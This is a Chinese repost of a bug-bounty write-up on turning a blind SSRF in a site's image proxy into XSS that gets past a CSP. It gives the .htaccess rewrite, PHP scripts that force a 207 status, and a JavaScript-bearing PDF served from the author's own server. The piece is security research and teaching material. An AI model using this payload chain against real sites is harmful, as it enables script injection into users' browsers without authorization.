盲SSRF+CSP绕过实现XSS

admin 2024年10月19日22:05:43评论19 views字数 1741阅读5分48秒阅读模式

盲SSRF+CSP绕过实现XSS

目标网站存在该端点:
https://site.com/proxy?source=http://imgeurl.com/profile.png?size=20px

盲SSRF+CSP绕过实现XSS

参数proxy?source=的功能是根据source后的内容获取图片,并通过size参数调整图片大小。起初,我使用Collaborator工具测试了SSRF攻击(https://site.com/proxy?source=http://xxxx.oastify.com),成功收到了响应:

盲SSRF+CSP绕过实现XSS

但响应代码是“403 Forbidden”,表明该攻击仅有低影响(Blind SSRF):

盲SSRF+CSP绕过实现XSS

表面上看,参数似乎只接受白名单中的URL,但事实上,服务器仍然执行了请求并返回了Collaborator的结果,这意味着并没有真正的URL过滤。

接下来,我尝试将XSS的载荷注入到.png图像文件中,并查看是否能在浏览器中触发XSS警报:

盲SSRF+CSP绕过实现XSS

响应状态码为“200 OK”,但未触发 XSS Payload。这是由于文件扩展名为.png,即使服务器返回了 200 响应,浏览器也不会解析其中的 JavaScript 代码。

因此,我决定将攻击载荷伪装为图像文件,而实际以 PHP 文件形式运行。

首先,我在自己的服务器上创建了一个目录,并通过.htaccess文件将所有.png扩展名的文件重定向为 PHP 文件:

RewriteEngine OnRewriteRule ^(.+).png$ image.php [L]

然后,我创建了一个image.php文件,内容如下:

<?php?><html><script>alert(1)</script></html>

这样子,当目标网站访问我服务器上的 image.png 后,会被我的服务器重定向至 image.php,进而执行我的 XSS Payload。

但再次请求时,收到了 403 错误:

盲SSRF+CSP绕过实现XSS

经过分析,我判断目标网站可能检查了文件的内容,阻止了非图片文件的请求。

我尝试将服务器上的 image.php 文件状态代码更改为207:

<?php  http_response_code(207);?><html><script>alert(1)</script></html>

继续通过该参数访问image.php:

盲SSRF+CSP绕过实现XSS

可以看到,成功访问到了资源,但为什么没有弹窗呢?分析控制台的请求,我发现目标站点存在内容安全策略(CSP),其策略依赖于sha256-hash来防止内联脚本执行:

盲SSRF+CSP绕过实现XSS

由于没有可用的端点允许绕过CSP直接注入脚本,我决定利用PDF文件作为载体,突破CSP限制(CSP主要针对网页内容,而不是PDF文件的内嵌脚本)。

首先,我创建了一个带有 JavaScript 的PDF文件test.pdf,内容如下:

%PDF-1.71 0 obj<</Pages 1 0 R /OpenAction 2 0 R>>2 0 obj<</S /JavaScript /JS (app.alert("XSS"))>>trailer <</Root 1 0 R>>

接着,仍然是修改.htaccess文件,将.png扩展名的文件重定向到PHP文件。

我修改了image.php,使其读取并显示PDF文件的内容:

<?phphttp_response_code(207);$pdfFile = 'test.pdf';if (file_exists($pdfFile)) {    header('Content-Type: application/pdf');    header('Content-Disposition: inline; filename="' . basename($pdfFile) . '"');    header('Content-Length: ' . filesize($pdfFile));    readfile($pdfFile);    exit;} else {    echo "File not found.";}?>

此后,目标网站的端点访问我服务器上的image.png时,我的image.php被执行,从而触发 PDF 文件的 XSS 代码:

盲SSRF+CSP绕过实现XSS

原文出处

https://cyh1337.medium.com/blind-ssrf-low-impact-to-xss-bypass-csp-ba0210bbe53f

盲SSRF+CSP绕过实现XSS

原文始发于微信公众号(玲珑安全):盲SSRF+CSP绕过实现XSS

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月19日22:05:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   盲SSRF+CSP绕过实现XSShttps://cn-sec.com/archives/3289578.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息